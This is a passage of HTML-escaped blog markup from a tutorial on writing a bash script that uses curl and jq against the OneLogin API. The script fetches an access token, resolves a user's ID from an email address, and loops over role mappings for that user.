#9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;-data-raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;[userid]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The data output from the endpoint is true or false.&lt;&#x2F;p&gt;
&lt;p&gt;That’s it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Manage Users API credentials&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;manage-users.png&quot; alt=&quot;In Create new API credential, select Manage users&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;A Mac or Linux machine. This initial version will tackle using scripting tools available on these platforms. A powershell version may follow.&lt;&#x2F;li&gt;
&lt;li&gt;“Curl” command line tool to call URLs for API&lt;&#x2F;li&gt;
&lt;li&gt;Local admin rights on your machine, so that you can install JQ to parse the JSON data.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;That last point… I found a utility, &lt;a href=&quot;https:&#x2F;&#x2F;stedolan.github.io&#x2F;jq&#x2F;&quot; target=&quot;_blank&quot;&gt;JQ&lt;&#x2F;a&gt;, that will be a lifesaver when dealing with APIs that provide output in JSON format. This utility will parse JSON in ways that trying to pipe command line tools to do is impossible. As a bonus you can use it to colorize and space output so that it is more human readable.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;installing-jq-mac&quot;&gt;Installing JQ: Mac&lt;&#x2F;h4&gt;
&lt;p&gt;The package you need to install is “jq”. This tool is worth the price of admission into the “&lt;a href=&quot;https:&#x2F;&#x2F;brew.sh&#x2F;&quot; target=&quot;_blank&quot;&gt;brew&lt;&#x2F;a&gt;” or homebrew Mac tools– the admission is “free” except for your time. So it is worth your time to install.&lt;&#x2F;p&gt;
&lt;p&gt;Just consider how this JSON blob:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;jq.png&quot; alt=&quot;Unformatted JSON&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And then this readable version:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;jq-brew.png&quot; alt=&quot;Beautified JQ after Brew&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So go ahead, &lt;a href=&quot;https:&#x2F;&#x2F;brew.sh&#x2F;&quot; target=&quot;_blank&quot;&gt;install “brew”&lt;&#x2F;a&gt; and then install &lt;a href=&quot;https:&#x2F;&#x2F;formulae.brew.sh&#x2F;formula&#x2F;jq&quot; target=&quot;_blank&quot;&gt;JQ&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In the script that follows we will use JQ to extract out the elements we need from the JSON data returned.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;script-sections&quot;&gt;Script Sections&lt;&#x2F;h3&gt;
&lt;p&gt;We’ll break this script down into sections so that it can be easier to learn and digest. This script will run in the Bash shell on most symptoms. Begin editing your file with any text editor and call it “check_mapping.sh”. Make sure it does not have a text file extension.&lt;&#x2F;p&gt;
&lt;p&gt;Before we really get started, locate your bash interpreter from your command line interface (Terminal, etc) by using the “which bash” command.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;which-bash.png&quot; alt=&quot;Which bash command&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Use this path for the first line in your script in the following format. This is commonly referred to as the “shebang line”.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;shebang-line.png&quot; alt=&quot;Shebang line&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We’ll create the file with this first line using a simple echo command and a redirect.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;check_mappings&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now set the execute permission so that only you can execute the script&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 500&lt;&#x2F;span&gt;&lt;span&gt; check_mappings&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now you are ready to edit the file with your favorite text editor.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;parse-command-options&quot;&gt;Parse Command Options&lt;&#x2F;h4&gt;
&lt;p&gt;The first thing your script should do is not waste any additional processing power if it wasn’t passed the correct command line options. Obviously we need some way to know which user we need to analyze. The plan is that you will execute the script from your shell window, such as Terminal, and pass the user’s email address in as the first argument.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;check_mappings.png&quot; alt=&quot;Passing the user’s email address&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So this section of the script simply checks to make sure that if something was passed to the command line after the execution we will treat that as the user identifier. If there is nothing in the first variable position then we will prompt below when we prompt for administrator input:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;gt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; EMAIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;tokens&quot;&gt;Tokens&lt;&#x2F;h4&gt;
&lt;p&gt;The second thing your API scripts need to do is handle the tokens. The API credentials consist of a client identifier and a client secret. Think of them as the username and the password. But we don’t want to be passing the username and password all the time, they are time consuming, unwieldy, and ancient means of authentication. So we get an access token that will slip us through the door more easily.&lt;&#x2F;p&gt;
&lt;p&gt;Many people will record the ID and secret to the file but this is poor security for a script to be stored on your system with an ID and password in it. This script will prompt you for input at the time you run it:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter your API Client ID: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; ID&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;sp&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter your API Client Secret: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; SSSH&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The dangling “echo” provides a line break from the hidden input of the API Secret. Next, the script will prompt you for the user identifier (usually email address) if it was not passed in as a command line argument:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$EMAIL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter the email address of user: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; EMAIL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now that we have the API ID, Secret, and the user identifier the script will execute “curl” to do the HTTP request to get an access token. We send the data returned to JQ to parse out just the access token that we need. This is stored in a new variable we are calling TK.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;Get&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; Bearer&lt;&#x2F;span&gt;&lt;span&gt; Token&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;TK&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;auth&#x2F;oauth2&#x2F;v2&#x2F;token \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Authorization: client_id:$ID, client_secret:$SSSH&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Content-type: application&#x2F;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;{ &amp;quot;grant_type&amp;quot;:&amp;quot;client_credentials&amp;quot; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;dev&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.access_token&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You should now have an access token stored in variable TK.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;process-the-user-input&quot;&gt;Process the User Input&lt;&#x2F;h4&gt;
&lt;p&gt;The first thing that needs to happen with the fresh access token is we need to make sure that a real user was provided and that we can get the user id number in the OneLogin system.&lt;&#x2F;p&gt;
&lt;p&gt;It’s pretty straightforward. We are using this API endpoint to search by the email address and it will return all information regarding the user. So if you wanted, you could tell JQ to pull out the user’s first name, but all we are really interested in is the user number stored in the ID field.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;resolve&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;s email address to id numbe&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; GET&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;users?email=$1 --header &amp;quot;Authorization: Bearer $TK&amp;quot; 2&amp;gt;&#x2F;dev&#x2F;null |jq -r &amp;#39;.[] | .id&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There’s an “echo” statement to print out user information if you like:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;  The user ID is $uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now that we have made this call we do a quick check in the following IF statement with a “then”. This statement is not checking the validity of the UID number but making sure that a user was found with the input provided and we can move on to the next step.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The IF statement closes out in the final three lines at the bottom of the script with an “else”. All the remaining section of code only executes if the user exists and the API has returned an identifier.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;get-the-mappings-and-loop&quot;&gt;Get the Mappings and Loop&lt;&#x2F;h4&gt;
&lt;p&gt;Inside this IF statement we create a loop around each mapping that exists in your OneLogin tenant. The loop will process each mapping individually against the user we resolved earlier.&lt;&#x2F;p&gt;
&lt;p&gt;We have to do one little thing before we start this loop: we have to do a little shell magic. This next variable is very important, it tells the system to separate fields with a return code or line feed instead of a space. We do this with the JQ option “–compact-output” so that each mapping is contained to a line.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;IFS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With that all squared away we setup our loop around the curl command that lists all mappings:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;for&lt;&#x2F;span&gt;&lt;span&gt; map&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;GET&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;mappings \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Authorization: Bearer $TK&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;dev&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; 